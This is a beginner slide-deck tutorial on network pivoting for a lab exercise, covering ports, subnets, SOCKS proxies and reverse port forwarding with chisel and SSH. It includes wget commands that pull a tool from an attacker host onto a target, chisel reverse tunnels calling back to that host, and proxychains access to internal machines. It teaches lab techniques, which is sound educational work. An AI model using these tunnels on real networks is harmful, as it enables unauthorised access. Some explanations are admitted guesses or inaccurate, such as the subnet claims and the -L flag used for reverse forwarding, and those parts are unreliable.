Slides

Outline

(guess what was chat gpt and what wasnt)

1. Networking 101
   - Ports and subnets
   - Port Forwards
2. What is pivoting
   - Why Pivoting
   - Socks Proxy
   - Tool demo
     - chisel
     - ssh
3. reverse port forward
   - idea
   - tool demo
     - chisel
     - ssh
4. Lab
   - Give time to solve lab
   - go over solutions

Chapter 1

Ports

Wikipedia?

In computer networking, a **port** or **port number** is a number assigned to uniquely identify a connection endpoint and to direct data to a specific service. At the software level, within an operating system, a port is a logical construct that identifies a specific process or a type of network service. A port at the software level is identified for each transport protocol and address combination by the port number assigned to it. The most common transport protocols that use port numbers are the Transmission Control Protocol (TCP) and the User Datagram Protocol (UDP); those port numbers are 16-bit unsigned numbers.

ChatGPT analogy

Imagine a building with multiple offices, each serving a different purpose. Ports are like those offices. They help a computer know which application or service a piece of data is meant for. Just like a phone extension connects you to a specific person in a big company, ports help direct data to the right software running on a device. For example, web browsing uses one office (port 80), while a mail client will use another (port 25). This way, your computer knows where to send and receive the data it needs.

Nice but why do I care?

Normally different services run on set ports for example:

Common ports

- Port 80 - HTTP - `curl`
- Port 443 - HTTPS - `curl -k`
- Port 22 - SSH - `ssh`
- Port 445 - SMB - `smbclient -L \\\\<ip>\\ -U <username>`

So if you scan a target (`nmap <ip>`) you will know how to interact with the ports. If the ports is something weird like 1791 you can use `nc <ip> 1791` to connect to it.

Subnets

Yep chatgpt again, continuing the city analogy

Think of subnets as neighborhoods in a city. Imagine a city with different areas designated for different purposes, like residential, commercial, and industrial zones. Each area has a unique identity and serves a specific function and resources. Similarly, in computer networks, subnets divide a larger network into smaller parts.

This makes it easier to manage and organize devices, like grouping computers in a department together so they can communicate more efficiently and securely.

So that's cool but what do they look like.

They consist of 2 parts. CIDR notation don't worry about that, basically 192.168.1.0/24 means any computer from 192.168.1.2 to 192.168.1.254 can be used. (with .0, .1 and .255 being reserved).

So if a computer is in the 10.10.10.0/24 subnet it can not talk to computers in the 192.168.240.0/24 subnet.

Summary

So a port is a number that can be used to connect to a server’s endpoint. These ports are normally standard so knowing common ports can help you connect to the server. Subnets are groupings of computers, normally used for organization and compartmentalization. One computer in a subnet cannot talk to a random computer in a different random subnet.

Chapter 2

Pivoting

ChatGPT analogy again:

Imagine a building complex with multiple interconnected offices. Each office has a specific purpose and is accessible through a single door. Now, let's say a person gains access to one of the offices in the building. This person can see what's happening inside that office and interact with the people and resources there.

In the context of computer networks, gaining access to an office is like compromising a computer within a network. Now, imagine that this person in the office wants to reach other offices in the building. However, to move around, they need to go through the doors that connect the offices. This process of moving from one compromised office to another to get closer to a specific target office is similar to network pivoting.

So that’s cool but how do we do that?

We can use a variety of tools but for now we are going to use chisel and the built in proxy feature with ssh. These tools will allow us to set up a socks5 proxy.

Socks5 proxy

(not the clothing thing)

This allows a computer access to a subnet that it should be able to access through another computer. Bit confusing?

It terms of the analogy.

This is like borrowing an access card for a neighborhood from someone that already has access. For example if you have access to a computer that can reach the public facing subnet (a neighborhood you can already go to), and a private subnet, you can use this computer to gain access to the private subnet.

You can do this by using:

`ip a` or `ifconfig` for linux (and mac i think)

`ipconfig` for windows.

So how do we get access?

Tooling

Chisel

grab the tool here: https://github.com/jpillora/chisel/releases/tag/v1.8.1

Chisel uses a server and a client, in this case the server will be using the access from the client allowing it to access the new subnet. Make sure that chisel is on the target machine (use `python3 -m http.server 8080` on kali to host files and `wget http://<kali_ip>/chisel` to download files)

Create the server on kali:

```
./chisel server --reverse --port 8000 --socks5
```

Then connect back with a client:

```
./chisel client <kali_ip>:8000 R:1080:socks
```

Um what did I just do?

Ok lets break it down:

1. Server
   - `--reverse` this tells the server that we are going to be accepting traffic (CHECK I MADE THIS UP)
   - `--port` The port the server is running on
   - `--socks5` Tells the server that we are going to use socks5
2. Client
   - `<kali_ip>:8000` This is the address of the server. Using the port specified from the server and the ip. NOTE: make sure that this ip is in the same subnet as the client computer
   - `R:1080:socks` Three parts, R for reverse, 1080 default socks port (we will look at this in a second) and socks to specify we are using socks.

A quick note. You may have to change the proxychains config on your computer. DONT FREAKOUT its super easy.

```
sudo nano /etc/proxychains4.conf
```

At the end of the file you want it to look like this:

```
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  127.0.0.1 1080
```

To exit nano:

```
CTRL+S
CTRL+X
```

Now to access the box on the private subnet.

To use the socks proxy we jsut set up you can run your commands with the `proxychains` prefix. So to ssh into the internal box:

```
proxychains ssh ariana@10.10.16.3
```

This should prompt for a password, and then

CONGRATS

Now you are on the private subnet using the access from the public box! Go collect the flag. This is awesome. big pat on the back

John Hammond • 2nd
Cybersecurity Researcher
3d •

<inspirational-linkedin-post />

SSH

The reason I showed chisel first is that it exposes you to how things are really working, with a server using the connection from the client. With ssh its very quick and compact, but hides the inner workings. It also can't do more advanced stuff but that is for another time.

So how do we do this?

When sshing into the first box you need to add this flag:

```
-o EnableEscapeCommandline=yes
```

This will allow us to access the ssh config while using the session.

So once you have used ssh to gain access on a new line type this (it wont be shown)

```
~C
```

This will open up a prompt like this:

```
ssh>
```

From here type:

```
-D 1080
```

Press enter then…

Done!

- `-D` means dynamic or socks as we have been calling it.
- `1080` is the port. Same as chisel.

Then use proxychains again to access the internal box.

You can also pass this flag when logging into the box:

```
ssh -D 1080 danny@192.168.69.2
```

Chapter 3

Final one nearly there.

Reverse port forward

ChatGPT FTW (again)

Imagine you're in an office building, and there's a central reception area where visitors check in. Normally, people from the outside come in through the main entrance and get directed to different offices based on their needs. This is like regular port forwarding, where external requests are directed to specific internal services.

Now, let's flip this scenario around. Instead of people from outside coming in, imagine an employee inside an office wants to provide a service to someone outside, but they can't leave their office. So, they talk to the receptionist and ask for help. The receptionist acts as a middle person and passes on information between the employee and the visitor. This process of helping someone inside the building provide a service to someone outside without leaving their office is similar to reverse port forwarding.

In the world of computer networks, reverse port forwarding works similarly. Normally, computers inside a network provide services to the outside world. But with reverse port forwarding, a computer inside the network initiates communication to provide a service to an external machine. It's like the internal computer talking to a middle "receptionist" computer (often a proxy) that then helps relay information between the internal computer and the external machine. This technique is useful when the internal computer can't directly communicate with the outside, perhaps due to a firewall or other security measures.

So you can forward an internal port to your local box.

Ok how?

Chisel

Very similar to using a socks proxy

Start the server

```
./chisel server --reverse --port 8000
```

Then start the client on the target box:

```
./chisel client <kali_ip>:8000 R:127.0.0.1:8081:8080
```

To access the port we can:

```
curl http://127.0.0.1:8081
```

SSH

Use the same ssh prompt window from above and type:

```
-L <remote_port>:localhost:<local_port>
```